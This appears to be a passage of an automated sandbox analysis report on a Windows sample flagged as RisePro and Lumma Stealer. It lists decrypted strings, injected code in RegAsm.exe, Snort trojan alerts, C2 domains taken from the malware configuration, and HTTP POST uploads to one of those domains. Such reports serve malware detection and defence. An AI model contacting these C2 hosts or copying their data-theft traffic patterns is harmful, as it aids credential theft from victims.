Source: 00000007.00000002.1920199999.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000007.00000002.1920199999.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000007.00000002.1920199999.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000007.00000002.1920199999.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000007.00000002.1920199999.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000007.00000002.1920199999.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: H8NgCl--

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 7_2_00415B57 CryptUnprotectData,

7_2_00415B57

Source: 2q45IEa3Ee.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.5.15:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.4:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.4:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.4:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.4:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.4:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.4:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.4:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.4:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.4:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.4:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.4:49756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.4:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.4:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.4:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.4:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.4:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.4:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.4:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.4:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.4:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.4:49766 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.4:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.4:49768 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.4:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.4:49770 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.4:49771 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.4:49772 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.4:49773 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.4:49774 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.4:49775 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.4:49776 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.4:49777 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.4:49778 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.4:49779 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.4:49780 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.4:49781 version: TLS 1.2

Source:	Binary string: C:\ka7c6p6\obj\Release\Question.pdbT2n2 `2_CorExeMainmscoree.dll source: MSIUpdaterV202.exe.0.dr, AdobeUpdaterV202.exe.0.dr, oRkIPIEeryat7GMgjkBr.exe.0.dr, lumma1504[1].exe.0.dr
Source:	Binary string: D:\TestProject\SetupAfterRebootService\SetupAfterRebootService\obj\Release\SetupAfterRebootService.pdb source: 2q45IEa3Ee.exe
Source:	Binary string: E:\HD_Audio\VS2005\Resetup\SetupAfterRebootService\SetupAfterRebootService\obj\Release\SetupAfterRebootService.pdbP@n@ `@_CorExeMainmscoree.dll source: 2q45IEa3Ee.exe
Source:	Binary string: E:\HD_Audio\VS2005\Resetup\SetupAfterRebootService\SetupAfterRebootService\obj\Release\SetupAfterRebootService.pdb source: 2q45IEa3Ee.exe
Source:	Binary string: D:\TestProject\SetupAfterRebootService\SetupAfterRebootService\obj\Release\SetupAfterRebootService.pdb,ANA @A_CorExeMainmscoree.dll source: 2q45IEa3Ee.exe
Source:	Binary string: Z:\Development\SecureEngine\src\plugins_manager\internal_plugins\embedded dlls\TlsHelperXBundler\Release\XBundlerTlsHelper.pdb source: 2q45IEa3Ee.exe, 2q45IEa3Ee.exe, 00000000.00000002.1877085413.0000000000E70000.00000040.00000001.01000000.00000003.sdmp
Source:	Binary string: C:\ka7c6p6\obj\Release\Question.pdb source: MSIUpdaterV202.exe.0.dr, AdobeUpdaterV202.exe.0.dr, oRkIPIEeryat7GMgjkBr.exe.0.dr, lumma1504[1].exe.0.dr

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Directory queried: number of queries: 2357

Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Code function: 0_2_00D52870 FindFirstFileA,FindNextFileA,GetLastError,SetFileAttributesA,GetLastError,RemoveDirectoryA,GetLastError,GetLastError,std::_Throw_Cpp_error,std::_Throw_Cpp_error,CreateDirectoryA,std::_Throw_Cpp_error,std::_Throw_Cpp_error,		0_2_00D52870
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Code function: 0_2_00C8C82B FindFirstFileExW,GetLastError,		0_2_00C8C82B

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esi+70h]	7_2_00417239
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov edx, dword ptr [esp+00000080h]	7_2_004212B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esi]	7_2_00415390
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then inc ebx	7_2_00421670
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esp+08h]	7_2_0043B800
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esp+0Ch]	7_2_00435ACB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+10h]	7_2_00409D20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov edx, dword ptr [esp+0Ch]	7_2_0043AE30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 18DC7455h	7_2_00421F80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp ecx	7_2_0041403B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then test edi, edi	7_2_0043A0D9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	7_2_00432140
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esp+18h]	7_2_0041D128
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov edx, dword ptr [esi+000001C0h]	7_2_00424240
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [eax], dx	7_2_00415216
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov edx, dword ptr [esp+04h]	7_2_0043822F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movsx ecx, byte ptr [esi+eax]	7_2_0040D2C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [eax], dx	7_2_0041B2A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then xor eax, eax	7_2_00439461
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov edx, dword ptr [esp+0Ch]	7_2_0043B470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esi+000000F0h]	7_2_0041347E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esp+04h]	7_2_004384D6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx edx, byte ptr [esi+edi]	7_2_004025E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp ecx	7_2_00416582
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then inc ebx	7_2_004216CE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then not ecx	7_2_004176E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], 0AB35B01h	7_2_00413722
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esi+00000180h]	7_2_00411739
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esp+10h]	7_2_0040F7CD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp word ptr [esi+edi+02h], 0000h	7_2_0041B930
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [eax], cx	7_2_0043799B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esp+10h]	7_2_00416A62
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esi+70h]	7_2_00417A78
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [edx], al	7_2_00422B54
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [edx], al	7_2_00422B70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [eax], cx	7_2_00417BF5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esi+000008A0h]	7_2_0041FBB5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov dword ptr [esi+00000600h], 00000000h	7_2_00410C5B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [ecx], al	7_2_00416E69
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then push edi	7_2_0040FED9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov dword ptr [esi+00000600h], 00000000h	7_2_00410F4D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then inc ebx	7_2_00414F10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esi+000008A0h]	7_2_0041EF19

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2049060 ET TROJAN RisePro TCP Heartbeat Packet 192.168.2.4:49732 -> 193.233.132.253:50500
Source: Traffic	Snort IDS: 2046266 ET TROJAN [ANY.RUN] RisePro TCP (Token) 193.233.132.253:50500 -> 192.168.2.4:49732
Source: Traffic	Snort IDS: 2046269 ET TROJAN [ANY.RUN] RisePro TCP (Activity) 192.168.2.4:49732 -> 193.233.132.253:50500
Source: Traffic	Snort IDS: 2046267 ET TROJAN [ANY.RUN] RisePro TCP (External IP) 193.233.132.253:50500 -> 192.168.2.4:49732
Source: Traffic	Snort IDS: 2052033 ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup (bordersoarmanusjuw .shop) 192.168.2.4:52093 -> 1.1.1.1:53
Source: Traffic	Snort IDS: 2052042 ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) 192.168.2.4:49742 -> 172.67.189.66:443
Source: Traffic	Snort IDS: 2052042 ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) 192.168.2.4:49743 -> 172.67.189.66:443
Source: Traffic	Snort IDS: 2052042 ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) 192.168.2.4:49744 -> 172.67.189.66:443
Source: Traffic	Snort IDS: 2052042 ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) 192.168.2.4:49745 -> 172.67.189.66:443
Source: Traffic	Snort IDS: 2052042 ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) 192.168.2.4:49746 -> 172.67.189.66:443
Source: Traffic	Snort IDS: 2052042 ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) 192.168.2.4:49747 -> 172.67.189.66:443
Source: Traffic	Snort IDS: 2052042 ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) 192.168.2.4:49748 -> 172.67.189.66:443
Source: Traffic	Snort IDS: 2052042 ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) 192.168.2.4:49749 -> 172.67.189.66:443
Source: Traffic	Snort IDS: 2052042 ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) 192.168.2.4:49750 -> 172.67.189.66:443
Source: Traffic	Snort IDS: 2052042 ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) 192.168.2.4:49751 -> 172.67.189.66:443
Source: Traffic	Snort IDS: 2052042 ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) 192.168.2.4:49752 -> 172.67.189.66:443
Source: Traffic	Snort IDS: 2052042 ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) 192.168.2.4:49753 -> 172.67.189.66:443
Source: Traffic	Snort IDS: 2052042 ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) 192.168.2.4:49754 -> 172.67.189.66:443
Source: Traffic	Snort IDS: 2052042 ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) 192.168.2.4:49755 -> 172.67.189.66:443
Source: Traffic	Snort IDS: 2052042 ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) 192.168.2.4:49756 -> 172.67.189.66:443
Source: Traffic	Snort IDS: 2052042 ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) 192.168.2.4:49757 -> 172.67.189.66:443
Source: Traffic	Snort IDS: 2052042 ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) 192.168.2.4:49758 -> 172.67.189.66:443
Source: Traffic	Snort IDS: 2052042 ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) 192.168.2.4:49759 -> 172.67.189.66:443
Source: Traffic	Snort IDS: 2052042 ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) 192.168.2.4:49760 -> 172.67.189.66:443
Source: Traffic	Snort IDS: 2052042 ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) 192.168.2.4:49761 -> 172.67.189.66:443
Source: Traffic	Snort IDS: 2052042 ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) 192.168.2.4:49762 -> 172.67.189.66:443
Source: Traffic	Snort IDS: 2052042 ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) 192.168.2.4:49763 -> 172.67.189.66:443
Source: Traffic	Snort IDS: 2052042 ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) 192.168.2.4:49764 -> 172.67.189.66:443
Source: Traffic	Snort IDS: 2052042 ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) 192.168.2.4:49765 -> 172.67.189.66:443
Source: Traffic	Snort IDS: 2052042 ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) 192.168.2.4:49766 -> 172.67.189.66:443
Source: Traffic	Snort IDS: 2052042 ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) 192.168.2.4:49767 -> 172.67.189.66:443
Source: Traffic	Snort IDS: 2052042 ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) 192.168.2.4:49768 -> 172.67.189.66:443
Source: Traffic	Snort IDS: 2052042 ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) 192.168.2.4:49769 -> 172.67.189.66:443
Source: Traffic	Snort IDS: 2052042 ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) 192.168.2.4:49770 -> 172.67.189.66:443
Source: Traffic	Snort IDS: 2052042 ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) 192.168.2.4:49771 -> 172.67.189.66:443
Source: Traffic	Snort IDS: 2052042 ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) 192.168.2.4:49772 -> 172.67.189.66:443
Source: Traffic	Snort IDS: 2052042 ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) 192.168.2.4:49773 -> 172.67.189.66:443
Source: Traffic	Snort IDS: 2052042 ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) 192.168.2.4:49774 -> 172.67.189.66:443
Source: Traffic	Snort IDS: 2052042 ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) 192.168.2.4:49775 -> 172.67.189.66:443
Source: Traffic	Snort IDS: 2052042 ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) 192.168.2.4:49776 -> 172.67.189.66:443
Source: Traffic	Snort IDS: 2052042 ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) 192.168.2.4:49777 -> 172.67.189.66:443
Source: Traffic	Snort IDS: 2052042 ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) 192.168.2.4:49778 -> 172.67.189.66:443
Source: Traffic	Snort IDS: 2052042 ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) 192.168.2.4:49779 -> 172.67.189.66:443
Source: Traffic	Snort IDS: 2052042 ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) 192.168.2.4:49780 -> 172.67.189.66:443
Source: Traffic	Snort IDS: 2052042 ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) 192.168.2.4:49781 -> 172.67.189.66:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: wifeplasterbakewis.shop
Source: Malware configuration extractor	URLs: mealplayerpreceodsju.shop
Source: Malware configuration extractor	URLs: bordersoarmanusjuw.shop
Source: Malware configuration extractor	URLs: suitcaseacanehalk.shop
Source: Malware configuration extractor	URLs: absentconvicsjawun.shop
Source: Malware configuration extractor	URLs: pushjellysingeywus.shop
Source: Malware configuration extractor	URLs: economicscreateojsu.shop
Source: Malware configuration extractor	URLs: entitlementappwo.shop
Source: Malware configuration extractor	URLs: bordersoarmanusjuw.shop

Source: global traffic

TCP traffic: 192.168.2.4:49732 -> 193.233.132.253:50500

Source: Joe Sandbox View	IP Address: 34.117.186.192 34.117.186.192
Source: Joe Sandbox View	IP Address: 34.117.186.192 34.117.186.192
Source: Joe Sandbox View	IP Address: 104.26.5.15 104.26.5.15
Source: Joe Sandbox View	IP Address: 193.233.132.253 193.233.132.253

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: FREE-NET-ASFREEnetEU FREE-NET-ASFREEnetEU

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: unknown	DNS query: name: ipinfo.io
Source: unknown	DNS query: name: ipinfo.io

Source: global traffic	HTTP traffic detected: GET /widget/demo/81.181.57.52 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=81.181.57.52 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: db-ip.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: bordersoarmanusjuw.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: bordersoarmanusjuw.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 49Host: bordersoarmanusjuw.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: bordersoarmanusjuw.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 49Host: bordersoarmanusjuw.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 49Host: bordersoarmanusjuw.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18158Host: bordersoarmanusjuw.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18158Host: bordersoarmanusjuw.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18158Host: bordersoarmanusjuw.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8779Host: bordersoarmanusjuw.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8779Host: bordersoarmanusjuw.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8779Host: bordersoarmanusjuw.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20432Host: bordersoarmanusjuw.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20432Host: bordersoarmanusjuw.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20432Host: bordersoarmanusjuw.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 7091Host: bordersoarmanusjuw.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1411Host: bordersoarmanusjuw.shop
